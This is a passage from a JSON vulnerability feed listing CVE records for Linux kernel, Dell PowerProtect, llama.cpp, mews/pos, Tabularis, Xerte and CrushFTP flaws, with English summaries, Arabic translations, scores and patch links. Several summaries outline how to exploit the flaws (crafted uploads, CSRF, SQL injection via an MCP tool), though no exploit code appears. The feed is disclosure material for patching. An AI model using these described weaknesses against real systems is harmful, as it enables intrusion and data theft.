with nla_for_each_attr() while advancing a single mask pointer via nla_next() at the bottom of each loop, so the mask cursor is driven by the number of key attributes rather than by the mask's own attributes. The nla_ok() added by commit c96adff956191 (\"cls_flower: call nla_ok() before nla_next()\") only validates the mask pointer that was just consumed; the pointer produced by nla_next() is used by the next iteration (fl_set_geneve_opt() and siblings) without any validation. The mask's nested attributes are validated with NL_VALIDATE_LIBERAL, which merely warns on trailing bytes that do not form a complete attribute. A mask carrying one valid attribute plus 1-3 residue bytes (or a non-aligned attribute length making msk_depth negative) therefore reaches the next iteration with msk_depth != 0, so neither the !msk_depth check in fl_set_enc_opt() nor the !depth check in the per-type helpers fires. nla_type() then reads past the mask payload and nla_parse_nested_deprecated() iterates with an nla_len taken from those bytes, reading well beyond the mask attribute (KASAN: slab-out-of-bounds read in __nla_validate_parse from fl_change()). Validate the advanced mask pointer as well: when the mask is not legitimately exhausted (msk_depth != 0) and the new pointer fails nla_ok(), reject the filter with -EINVAL. An exactly exhausted mask still skips the check, preserving exact-match behaviour for the remaining key attributes."},"refs":[["https://git.kernel.org/stable/c/35354bf67aa0f7bace66ffb614906124ed50d59d","ref"],["https://git.kernel.org/stable/c/45e60747a9db2307929260d9aa9c1c6cbb70ee77","ref"],["https://git.kernel.org/stable/c/497944d534ffb1be300365523030c7c6517cbbb6","ref"],["https://git.kernel.org/stable/c/a55d84907337580d91c0d54779d9d4b934633158","ref"],["https://git.kernel.org/stable/c/a9283d006eef7e3b56f0f279a49bb63f6e5e61df","ref"],["https://git.kernel.org/stable/c/bb187146c7e5c666874784e4f3fc1bc5126e6e92","ref"],["https://git.kernel.org/stable/c/cff9bf34afde46c238189cc6f7690b7e35225df1","ref"],["https://git.kernel.org/stable/c/fee10655709c5c597e8e9f722f3035d9ea31ff3a","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99216","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T10:36:09Z","product":"Linux Linux","affected":[["4.19.118 – <4.20","4.20"],["5.4.35 – <5.5","5.5"],["5.6.7 – <5.7","5.7"]],"title":{"en":"Drivers: hv: Don't reset VMBus connection state on error/exit paths","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: Drivers: hv: Don't reset VMBus connection state on error/exit paths In two places, current code forces vmbus_connection.conn_state to DISCONNECTED prior to calling vmbus_disconnect(). But vmbus_disconnect() calls vmbus_initiate_unload(), which unloads the VMBus connection only if the conn_state is CONNECTED. Consequently, the connection remains and the Hyper-V host might continue to send messages or post VMBus interrupts. The problem was introduced in commit 74347a99e73ae (\"x86/Hyper-V: Unload vmbus channel in hv panic callback\"), in that vmbus_initiate_unload() started checking the current connection state before doing the unload. This commit removed some occurrences where conn_state was forced to DISCONNECTED, but these two remained, apparently due to an oversight at the time. Fix this by not forcing conn_state to DISCONNECTED during VMBus exit, or if a failure occurs when establishing the connection in the first place. Whatever value conn_state has at the time is then read by vmbus_initiate_unload() to determine if there is a connection to be unloaded.","ar":"In the Linux kernel, the following vulnerability has been resolved: Drivers: hv: Don't reset VMBus connection state on error/exit paths In two places, current code forces vmbus_connection.conn_state to DISCONNECTED prior to calling vmbus_disconnect(). But vmbus_disconnect() calls vmbus_initiate_unload(), which unloads the VMBus connection only if the conn_state is CONNECTED. Consequently, the connection remains and the Hyper-V host might continue to send messages or post VMBus interrupts. The problem was introduced in commit 74347a99e73ae (\"x86/Hyper-V: Unload vmbus channel in hv panic callback\"), in that vmbus_initiate_unload() started checking the current connection state before doing the unload. This commit removed some occurrences where conn_state was forced to DISCONNECTED, but these two remained, apparently due to an oversight at the time. Fix this by not forcing conn_state to DISCONNECTED during VMBus exit, or if a failure occurs when establishing the connection in the first place. Whatever value conn_state has at the time is then read by vmbus_initiate_unload() to determine if there is a connection to be unloaded."},"refs":[["https://git.kernel.org/stable/c/2939215d57bc8e4189290544fca78f3809ac3ef8","ref"],["https://git.kernel.org/stable/c/a0ae955ba9a5067a157ebb8defb4a0a9cb1fc304","ref"],["https://git.kernel.org/stable/c/deef3ab5129ae4c45662c957cdab3739eb047fb1","ref"],["https://git.kernel.org/stable/c/2e5ffbf1e41abbf6e02ce28115107938f55ff646","ref"],["https://git.kernel.org/stable/c/2732210132f92aca0622b5134027990a809279d5","ref"],["https://git.kernel.org/stable/c/f47ce27af80b87cc684d5c12b65506af498ac7e5","ref"],["https://git.kernel.org/stable/c/3195546a377c2d8d176d837e8baad5ce15d11195","ref"],["https://git.kernel.org/stable/c/ec31dc39e835ccde0930daccece8c492d28282fc","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99213","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T10:36:06Z","product":"Linux Linux","affected":[["3.9",null]],"title":{"en":"vsock: treat TCP_CLOSING as once-established","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: vsock: treat TCP_CLOSING as once-established Handle the TCP_ESTABLISHED -> TCP_CLOSING transition on OP_RST, which can race with the connect loop. Immediately break and return 0 on ESTABLISHED/CLOSING. The return value of connect() should reflect what happened up to the point the connection was established or failed. Events that occur afterwards must not affect it. E.g. even if OP_RW has already set sk_err, connect() should still return 0, not ENOBUFS because of it. Adapt the inaccurate comment above signal_pending(). Resetting a socket that is still present in connected_table can lead to memory corruption. The reporter noted lost transports for in-flight skbs, and I have reproduced crashes caused by re-insertion into connected_table. list_add double add: new=, prev=, next=. kernel BUG at lib/list_debug.c:35! Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI Workqueue: vsock-loopback vsock_loopback_work RIP: 0010:__list_add_valid_or_report+0x11f/0x130 Call Trace: vsock_insert_connected.cold+0xe/0x13 virtio_transport_recv_pkt+0x10e9/0x1460 vsock_loopback_work+0x305/0x480 process_one_work+0xe4c/0x1560 worker_thread+0x4f1/0xd60 kthread+0x36e/0x470 ret_from_fork+0x47b/0x6b0 ret_from_fork_asm+0x1a/0x30 This fix is supplementary to commit 002541ef650b (\"vsock: Ignore signal/timeout on connect() if already established\"). Details under Link.","ar":"In the Linux kernel, the following vulnerability has been resolved: vsock: treat TCP_CLOSING as once-established Handle the TCP_ESTABLISHED -> TCP_CLOSING transition on OP_RST, which can race with the connect loop. Immediately break and return 0 on ESTABLISHED/CLOSING. The return value of connect() should reflect what happened up to the point the connection was established or failed. Events that occur afterwards must not affect it. E.g. even if OP_RW has already set sk_err, connect() should still return 0, not ENOBUFS because of it. Adapt the inaccurate comment above signal_pending(). Resetting a socket that is still present in connected_table can lead to memory corruption. The reporter noted lost transports for in-flight skbs, and I have reproduced crashes caused by re-insertion into connected_table. list_add double add: new=, prev=, next=. kernel BUG at lib/list_debug.c:35! Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI Workqueue: vsock-loopback vsock_loopback_work RIP: 0010:__list_add_valid_or_report+0x11f/0x130 Call Trace: vsock_insert_connected.cold+0xe/0x13 virtio_transport_recv_pkt+0x10e9/0x1460 vsock_loopback_work+0x305/0x480 process_one_work+0xe4c/0x1560 worker_thread+0x4f1/0xd60 kthread+0x36e/0x470 ret_from_fork+0x47b/0x6b0 ret_from_fork_asm+0x1a/0x30 This fix is supplementary to commit 002541ef650b (\"vsock: Ignore signal/timeout on connect() if already established\"). Details under Link."},"refs":[["https://git.kernel.org/stable/c/ea36ef3c229d54b552432d1290aee1d807f67fd5","ref"],["https://git.kernel.org/stable/c/5f2ab77028602a22f0cc33cac063a313787cbeae","ref"],["https://git.kernel.org/stable/c/f89770c7365748d9d6a2ae07d1c23497ca21ec07","ref"],["https://git.kernel.org/stable/c/deb972c7eea8d0bc3109c35c30a1c86d4939f811","ref"],["https://git.kernel.org/stable/c/baf1b5715640e434249ce7f63f94bd1a00938ef9","ref"],["https://git.kernel.org/stable/c/c2c5359ef2c33684fa3f3652fd761a483db8d1e7","ref"],["https://git.kernel.org/stable/c/44d1ca05d6094a5d75c671a0545249186d790b8d","ref"],["https://git.kernel.org/stable/c/4f6ac74fa594a918d41255c941256e1d51592d3b","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99212","cvss":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T10:36:05Z","product":"Linux Linux","affected":[["2.6.30",null]],"title":{"en":"net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure rds_rdma_cm_event_handler_cmn() hands the return value of rdma_resolve_route() straight back to the rdma_cm on RDMA_CM_EVENT_ADDR_RESOLVED. A synchronous failure there - -ENOMEM from the route work allocation, an SA query that cannot be set up, a RoCE route with no usable device - makes addr_handler() destroy the id the event was delivered on. That id is ic->i_cm_id, and nothing clears the pointer: the connection sits in RDS_CONN_CONNECTING with a freed id until its shutdown calls rdma_disconnect() and rdma_destroy_id() on it. The ROUTE_RESOLVED case already avoids this: rds_ib_cm_initiate_connect() forces a zero return while ic->i_cm_id == cm_id, as the comment there explains. Do the same here - drop the connection and return 0 - so the id stays RDS's to destroy from the shutdown, and the reconnect gets a fresh one.","ar":"In the Linux kernel, the following vulnerability has been resolved: net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure rds_rdma_cm_event_handler_cmn() hands the return value of rdma_resolve_route() straight back to the rdma_cm on RDMA_CM_EVENT_ADDR_RESOLVED. A synchronous failure there - -ENOMEM from the route work allocation, an SA query that cannot be set up, a RoCE route with no usable device - makes addr_handler() destroy the id the event was delivered on. That id is ic->i_cm_id, and nothing clears the pointer: the connection sits in RDS_CONN_CONNECTING with a freed id until its shutdown calls rdma_disconnect() and rdma_destroy_id() on it. The ROUTE_RESOLVED case already avoids this: rds_ib_cm_initiate_connect() forces a zero return while ic->i_cm_id == cm_id, as the comment there explains. Do the same here - drop the connection and return 0 - so the id stays RDS's to destroy from the shutdown, and the reconnect gets a fresh one."},"refs":[["https://git.kernel.org/stable/c/664fd3205cbec71ac52c005ee705cd917bb6fb1a","ref"],["https://git.kernel.org/stable/c/b8f141f65885810e24fc23b8a71692db62d535bf","ref"],["https://git.kernel.org/stable/c/e677eda15df7d5ce256654343418043c7ffd6f9b","ref"],["https://git.kernel.org/stable/c/92143c5d80382588d5a3047a4f14023ee9ef6485","ref"],["https://git.kernel.org/stable/c/a7c7d0ff876377fea7ae876a28d6df8d9349df57","ref"],["https://git.kernel.org/stable/c/91ece3efa064f0b3b3c67b9b045d9eeb4a034e43","ref"],["https://git.kernel.org/stable/c/98d446b7c013254a8a7b49720557676a3a851fde","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99203","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T10:35:57Z","product":"Linux Linux","affected":[["2.6.30",null]],"title":{"en":"pipe: preserve existing fasync readers on writer setup failure","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: pipe: preserve existing fasync readers on writer setup failure F_SETFL and FIOASYNC decide whether to invoke ->fasync() before pipe_fasync() takes pipe->mutex. Two enables of one O_RDWR FIFO can therefore both enter the callback. fasync_helper() allocates before checking for an existing entry. If the first enable installs both entries, a second enable can update the reader entry and then fail the allocation for the writer entry. The error path removes the pre-existing reader entry, clearing FASYNC while the writer entry remains registered. __fput() then skips ->fasync(), so a later pipe notification can dereference the freed file or its f_owner. An unprivileged memory-pressure reproducer triggers a KASAN slab-use-after-free in send_sigio() through this path. Keep the reader helper's result and undo the registration only if this call added it. The pipe mutex serializes changes to both lists, so a failed new registration still removes its reader, while a failed duplicate preserves the existing registrations and FASYNC. Successful duplicate enables continue to update fa_fd as before.","ar":"In the Linux kernel, the following vulnerability has been resolved: pipe: preserve existing fasync readers on writer setup failure F_SETFL and FIOASYNC decide whether to invoke ->fasync() before pipe_fasync() takes pipe->mutex. Two enables of one O_RDWR FIFO can therefore both enter the callback. fasync_helper() allocates before checking for an existing entry. If the first enable installs both entries, a second enable can update the reader entry and then fail the allocation for the writer entry. The error path removes the pre-existing reader entry, clearing FASYNC while the writer entry remains registered. __fput() then skips ->fasync(), so a later pipe notification can dereference the freed file or its f_owner. An unprivileged memory-pressure reproducer triggers a KASAN slab-use-after-free in send_sigio() through this path. Keep the reader helper's result and undo the registration only if this call added it. The pipe mutex serializes changes to both lists, so a failed new registration still removes its reader, while a failed duplicate preserves the existing registrations and FASYNC. Successful duplicate enables continue to update fa_fd as before."},"refs":[["https://git.kernel.org/stable/c/6041bcd185d4df051490fe166e64feae6c3b8291","ref"],["https://git.kernel.org/stable/c/7cdbfa22a7e270b155ddb958b1583a999c0c8abb","ref"],["https://git.kernel.org/stable/c/22c7f57b0c0b0b8e19cfb41a1bd85f55715ad386","ref"],["https://git.kernel.org/stable/c/94be790dd6fbe0912f35bb711bea8ef3687eaca9","ref"],["https://git.kernel.org/stable/c/9b0aa2a1d8df51f3dcb363c3a2d9531098e88dc6","ref"],["https://git.kernel.org/stable/c/4c42ce499ce4b1c787e61082e3b13df4f30c4eaa","ref"],["https://git.kernel.org/stable/c/2259809e5b7043c4ba20af7b14ba3e471cf55521","ref"],["https://git.kernel.org/stable/c/40bb03d3ea6f6a915218508819ecc4d7a7fa260d","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-103799","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T10:18:59Z","product":"Dell PowerProtect Data Domain Management Center","affected":[],"title":{"en":"Dell PowerProtect Data Domain Management Center, Feature Release versions 7.7.1.0 through 8.8, LTS2024 release versions 7.13.1.0 through 7.13.1.80, LT","ar":"Dell PowerProtect Data Domain Management Center، إصدارات Feature Release من 7.7.1.0 حتى 8.8، إصدارات LTS2024 من 7.13.1.0 حتى 7.13.1.80، LT"},"summary":{"en":"Dell PowerProtect Data Domain Management Center, Feature Release versions 7.7.1.0 through 8.8, LTS2024 release versions 7.13.1.0 through 7.13.1.80, LTS2025 release versions 8.3.1.0 through 8.3.1.40, LTS2026 release versions 8.6.1.0 through 8.6.1.20, contain a Missing Authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized system operation on managed systems.","ar":"تحتوي منتجات Dell PowerProtect Data Domain Management Center للإصدارات Feature Release من 7.7.1.0 حتى 8.8، وإصدارات LTS2024 من 7.13.1.0 حتى 7.13.1.80، وإصدارات LTS2025 من 8.3.1.0 حتى 8.3.1.40، وإصدارات LTS2026 من 8.6.1.0 حتى 8.6.1.20، على ثغرة غياب المصادقة. يمكن لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تشغيل غير مصرح به للنظام على الأنظمة المُدارة."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000515178/dsa-2026-416-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities","advisory"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-powerprotect-data-domain-management-center"},{"id":"CVE-2026-90717","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L","cwe":"CWE-290","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T09:17:08Z","product":"Dell PowerProtect Data Domain Management Center","affected":[],"title":{"en":"Dell PowerProtect Data Domain Management Center, Feature Release versions 7.7.1.0 through 8.8, LTS2024 release versions 7.13.1.0 through 7.13.1.80, LT","ar":"Dell PowerProtect Data Domain Management Center، إصدارات Feature Release من 7.7.1.0 حتى 8.8، وإصدارات LTS2024 من 7.13.1.0 حتى 7.13.1.80"},"summary":{"en":"Dell PowerProtect Data Domain Management Center, Feature Release versions 7.7.1.0 through 8.8, LTS2024 release versions 7.13.1.0 through 7.13.1.80, LTS2025 release versions 8.3.1.0 through 8.3.1.40, LTS2026 release versions 8.6.1.0 through 8.6.1.20, contain an Authentication Bypass by Spoofing vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges. This vulnerability could impact other managed Data Domain systems.","ar":"تحتوي منتجات Dell PowerProtect Data Domain Management Center، ضمن إصدارات Feature Release من 7.7.1.0 حتى 8.8، وإصدارات LTS2024 من 7.13.1.0 حتى 7.13.1.80، وإصدارات LTS2025 من 8.3.1.0 حتى 8.3.1.40، وإصدارات LTS2026 من 8.6.1.0 حتى 8.6.1.20، على ثغرة تجاوز المصادقة عن طريق التخفي (Authentication Bypass by Spoofing). يمكن لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تصعيد الصلاحيات. قد تؤثر هذه الثغرة على أنظمة Data Domain المُدارة الأخرى."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000515178/dsa-2026-416-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities","advisory"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-powerprotect-data-domain-management-center"},{"id":"CVE-2026-118375","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T03:17:14Z","product":"ggml-org llama.cpp","affected":[["b8841 – <b11865","b11865"]],"title":{"en":"llama.cpp b8841 before b11865 Stack-based Buffer Overflow via ggml-rpc RDMA rdma_recv()","ar":"llama.cpp b8841 قبل b11865: فيضان المخزن المؤقت القائم على المكدس عبر ggml-rpc RDMA rdma_recv()"},"summary":{"en":"llama.cpp b8841 before b11865 contains an out-of-bounds write vulnerability in the ggml-rpc RDMA transport rdma_recv() function that allows unauthenticated peers to overflow the rpc-server stack. Attackers advertising RDMA capabilities in the HELLO message can send up to 256 KiB into a 1-byte stack variable in rpc_serve_client(), crashing the server or potentially executing code.","ar":"يحتوي llama.cpp من b8841 قبل b11865 على ثغرة كتابة خارج الحدود في دالة النقل rdma_recv() الخاصة بـ ggml-rpc RDMA، والتي تسمح للأقران دون مصادقة بإحداث فيضان في مكدس خادم RPC. يمكن للمهاجمين الذين يعلنون عن قدرات RDMA في رسالة HELLO إرسال ما يصل إلى 256 كيلوبايت إلى متغيّر مكدس بحجم 1 باイト في دالة rpc_serve_client()، مما يؤدي إلى تعطل الخادم أو ربما تنفيذ شيفرة برمجية."},"refs":[["https://github.com/ggml-org/llama.cpp/commit/9a0fde9967fa1a35b6e5dd1f47e1a3648b6fecc1","patch"],["https://github.com/ggml-org/llama.cpp/pull/30399","patch"],["https://www.vulncheck.com/advisories/llama-cpp-b8841-before-b11865-stack-based-buffer-overflow-via-ggml-rpc-rdma-rdma-recv","advisory"],["https://github.com/ggml-org/llama.cpp","ref"],["https://github.com/ggml-org/llama.cpp/blob/620d2225cc436ab0b001e3200e590e3b286ef9ab/ggml/src/ggml-rpc/transport.cpp#L510-L528","ref"],["https://github.com/ggml-org/llama.cpp/releases/tag/b11865","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ggml-org-llama-cpp"},{"id":"CVE-2026-118377","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T03:17:14Z","product":"mewebstudio pos","affected":[["0 – 2.0.0",null]],"title":{"en":"mews/pos through 2.0.0 Missing Hash Verification in 3D Pay and 3D Host Callbacks","ar":"mews/pos حتى الإصدار 2.0.0: غياب التحقق من التجزئة في استدعاءات 3D Pay و 3D Host"},"summary":{"en":"mews/pos through 2.0.0 contains an insufficient verification of data authenticity vulnerability that allows unauthenticated attackers to forge payment results by submitting unverified callbacks. GarantiPos, PayForPos and InterPos 3D Pay and 3D Host handlers skip check3DHash(), letting attackers post tampered status, amount or order ID fields to complete orders without paying.","ar":"تتضمن حزمة mews/pos حتى الإصدار 2.0.0 ثغرة تحقق غير كافي من أصالة البيانات تسمح للمهاجمين دون مصادقة بتزوير نتائج الدفع عن طريق إرسال استدعاءات رجعية غير متحقق منها. تتخطى معالجات GarantiPos و PayForPos و InterPos لـ 3D Pay و 3D Host دالة check3DHash()، مما يتيح للمهاجمين إرسال حقول حالة أو مبلغ أو معرف طلب تلاعبوا بها لإتمام الطلبات دون دفع."},"refs":[["https://github.com/mewebstudio/pos/commit/7c59d42bc49483c7c54999d757cb67055d9f732a","patch"],["https://github.com/mewebstudio/pos/pull/305","patch"],["https://www.vulncheck.com/advisories/mews-pos-through-2.0.0-missing-hash-verification-in-3d-pay-and-3d-host-callbacks","advisory"],["https://github.com/mewebstudio/pos","ref"],["https://github.com/mewebstudio/pos/blob/50ed2bfe4f8980b8b0c47996de571943fa58d7ad/src/Gateway/InterPos.php#L134-L149","ref"],["https://github.com/mewebstudio/pos/blob/50ed2bfe4f8980b8b0c47996de571943fa58d7ad/src/Gateway/PayForPos.php#L135-L150","ref"],["https://github.com/mewebstudio/pos/issues/306","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mewebstudio-pos"},{"id":"CVE-2026-118378","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T03:17:14Z","product":"TabularisDB tabularis","affected":[["0.10.0 – <0.28.0","0.28.0"]],"title":{"en":"Tabularis before 0.28.0 SQL Injection via MCP describe_table table_name","ar":"Tabularis قبل الإصدار 0.28.0: حقن SQL عبر اسم الجدول في أداة MCP describe_table"},"summary":{"en":"Tabularis before 0.28.0 contains an SQL injection vulnerability in its SQLite driver that allows MCP clients to execute stacked statements by supplying a crafted table_name to the describe_table tool. Attackers, including AI agents steered by untrusted content, can close the quoted PRAGMA argument and append statements to read, modify, or drop SQLite data, bypassing read-only mode and write approval.","ar":"يحتوي Tabularis قبل الإصدار 0.28.0 على ثغرة حقن SQL في برنامج تشغيل SQLite الخاص به، مما يسمح لعملاء MCP بتنفيذ عبارات متراكمة عن طريق توفير اسم جدول table_name مصمم خصيصًا لأداة describe_table. يمكن للمهاجمين، بما في ذلك وكلاء الذكاء الاصطناعي الموجهون بمحتوى غير موثوق، إغلاق وسيط PRAGMA المُحاط بعلامات اقتباس وإلحاق عبارات لقراءة بيانات SQLite أو تعديلها أو حذفها، متجاوزين بذلك وضع القراءة فقط وموافقة الكتابة."},"refs":[["https://github.com/TabularisDB/tabularis/commit/fd1bdbbae35e5367c32d1e7fe9c44cb1b6875d74","patch"],["https://github.com/TabularisDB/tabularis/security/advisories/GHSA-xrx3-j98v-67x9","advisory"],["https://www.vulncheck.com/advisories/tabularis-before-0.28.0-sql-injection-via-mcp-describe-table-table-name","advisory"],["https://github.com/TabularisDB/tabularis","ref"],["https://github.com/TabularisDB/tabularis/blob/804c4c3bb6fd8eaa2e36cbe49f6c0d58f373b5e9/src-tauri/src/drivers/sqlite/mod.rs#L92-L105","ref"],["https://github.com/TabularisDB/tabularis/releases/tag/v0.28.0","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"tabularisdb-tabularis"},{"id":"CVE-2026-117607","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T03:17:12Z","product":"thexerteproject xerteonlinetoolkits","affected":[["0 – 3.15.5",null]],"title":{"en":"Xerte Online Toolkits through 3.15.5 RCE via Language Pack Import","ar":"Xerte Online Toolkits حتى الإصدار 3.15.5: تنفيذ أوامر عن بُعد عبر استيراد حزمة لغة"},"summary":{"en":"Xerte Online Toolkits through 3.15.5 contains a remote code execution vulnerability that allows authenticated users with system permission to run PHP by importing a crafted language pack. Attackers can upload a ZIP via import_language.php containing a .inc file, then request it through the language parameter to execute code on the server.","ar":"تحتوي أدوات Xerte Online Toolkits حتى الإصدار 3.15.5 على ثغرة تنفيذ أوامر عن بُعد تسمح للمستخدمين المصدقين الذين يملكون صلاحيات النظام بتشغيل لغة PHP من خلال استيراد حزمة لغة معدلة. يمكن للمهاجمين تحميل ملف ZIP عبر import_language.php يحتوي على ملف .inc، ثم طلبه عبر معامل اللغة لتنفيذ الشيفرة على الخادم."},"refs":[["https://www.vulncheck.com/advisories/xerte-online-toolkits-through-3.15.5-rce-via-language-pack-import","advisory"],["https://github.com/thexerteproject/xerteonlinetoolkits","ref"],["https://github.com/thexerteproject/xerteonlinetoolkits/blob/c381d8cbdff6b59bb52bf158cd30cf2c425cb24b/functions.php#L419","ref"],["https://github.com/thexerteproject/xerteonlinetoolkits/blob/c381d8cbdff6b59bb52bf158cd30cf2c425cb24b/website_code/php/language/import_language.php#L211","ref"],["https://github.com/thexerteproject/xerteonlinetoolkits/issues/1557","ref"]],"epss":0.0068,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"thexerteproject-xerteonlinetoolkits"},{"id":"CVE-2014-125138","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T03:17:08Z","product":"C97net qEngine CMS","affected":[["0 – 6.0.0",null],["0 – 1.5.6",null],["0 – 3.0.0",null]],"title":{"en":"C97net qEngine CMS through 6.0.0, Kemana Directory through 1.5.6, Cart Engine through 3.0.0 Unrestricted File Upload via Image Fields","ar":"C97net qEngine CMS حتى 6.0.0 و Kemana Directory حتى 1.5.6 و Cart Engine حتى 3.0.0: رفع ملفات دون قيود عبر حقول الصور"},"summary":{"en":"C97net qEngine CMS through 6.0.0, Kemana Directory through 1.5.6, and Cart Engine through 3.0.0 contain an unrestricted file upload vulnerability in administrative image fields. Editor-role users can upload PHP scripts via the page_image or cat_image parameters to the web-accessible /public/image directory and request them to execute code on the server.","ar":"تحتوي أنظمة C97net qEngine CMS حتى 6.0.0 و Kemana Directory حتى 1.5.6 و Cart Engine حتى 3.0.0 على ثغرة رفع ملفات بلا قيود في حقول الصور الخاصة بالإدارة. يمكن للمستخدمين بصلاحية محرر (Editor) رفع نصوص PHP عبر معلمات page_image أو cat_image إلى دليل /public/image القابل للوصول عبر الويب ومن ثم طلبها لتنفيذ الشيفرة على الخادم."},"refs":[["https://www.vulncheck.com/advisories/c97net-qengine-cms-through-6.0.0-kemana-directory-through-1.5.6-cart-engine-through-3.0.0-unrestricted-file-upload-via-image-fields","advisory"],["https://www.zeroscience.mk/advisories/ZSL-2014-5174.html","advisory"],["https://www.zeroscience.mk/advisories/ZSL-2014-5178.html","advisory"],["https://www.zeroscience.mk/advisories/ZSL-2014-5182.html","advisory"],["https://www.exploit-db.com/exploits/32503","ref"],["https://www.exploit-db.com/exploits/32507","ref"],["https://www.exploit-db.com/exploits/32511","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"c97net-qengine-cms"},{"id":"CVE-2015-20129","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T03:17:08Z","product":"CrushFTP CrushFTP","affected":[["0 – <7.3.0","7.3.0"]],"title":{"en":"CrushFTP before 7.3.0 Cross-Site Request Forgery via /WebInterface/function/","ar":"ثغرة تزوير الطلبات عبر المواقع (CSRF) في CrushFTP الإصدارات التي تسبق 7.3.0 عبر ⼐WebInterface⼐function⼐"},"summary":{"en":"CrushFTP before 7.3.0 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions because CSRF protection is disabled by default. Attackers can lure an authenticated administrator to a malicious page that submits POST requests to commands like setUserItem, creating root-access users or changing server configuration.","ar":"يحتوي CrushFTP في الإصدارات التي تسبق 7.3.0 على ثغرة تزوير الطلبات عبر المواقع التي تسمح للمهاجمين بتنفيذ إجراءات إدارية نظرًا لأن حماية CSRF معطلة افتراضيًا. يمكن للمهاجمين استدراج مسؤول مصادق عليه لزيارة صفحة خبيثة ترسل طلبات POST إلى أوامر مثل setUserItem، مما يؤدي إلى إنشاء مستخدمين 